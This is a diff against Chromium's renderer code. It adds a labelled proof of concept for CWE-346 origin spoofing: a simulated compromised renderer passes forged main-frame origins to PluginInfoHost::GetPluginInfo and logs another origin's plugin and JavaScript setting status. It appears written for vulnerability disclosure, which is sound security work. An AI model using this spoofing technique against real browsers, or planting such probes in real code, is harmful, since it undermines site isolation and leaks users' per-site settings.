diff --git a/chrome/renderer/chrome_content_renderer_client.cc b/chrome/renderer/chrome_content_renderer_client.cc
index abe1dbb4ec313..215c8e844af04 100644
--- a/chrome/renderer/chrome_content_renderer_client.cc
+++ b/chrome/renderer/chrome_content_renderer_client.cc
@@ -831,6 +831,30 @@ bool ChromeContentRendererClient::IsPluginHandledExternally(
   plugin_info_host->GetPluginInfo(
       original_url, render_frame->GetWebFrame()->Top()->GetSecurityOrigin(),
       mime_type, &plugin_info);
+
+  // ==== POC: CWE-346 origin spoofing in PluginInfoHost::GetPluginInfo ====
+  // A compromised renderer lies about its main-frame origin. The browser
+  // process uses the spoofed origin verbatim for the JAVASCRIPT
+  // content-settings lookup, leaking another origin's setting back to us.
+  {
+    url::Origin real_origin =
+        url::Origin(render_frame->GetWebFrame()->Top()->GetSecurityOrigin());
+    auto probe = [&](const char* tag, const url::Origin& spoofed) {
+      chrome::mojom::PluginInfoPtr out = chrome::mojom::PluginInfo::New();
+      plugin_info_host->GetPluginInfo(original_url, spoofed, mime_type, &out);
+      LOG(ERROR) << "[POC] renderer committed=" << real_origin
+                 << " spoofed=" << spoofed << " (" << tag
+                 << ") => PluginStatus=" << static_cast<int>(out->status)
+                 << " plugin=" << out->group_identifier;
+    };
+    probe("real", real_origin);
+    probe("spoofed-allowed",
+          url::Origin::Create(GURL("https://victim-allowed.test")));
+    probe("spoofed-blocked",
+          url::Origin::Create(GURL("https://victim-blocked.test")));
+  }
+  // ==== End POC ====
+
   // TODO(ekaramad): Not continuing here due to a disallowed status should take
   // us to CreatePlugin. See if more in depths investigation of |status| is
   // necessary here (see https://crbug.com/41460326). For now, returning false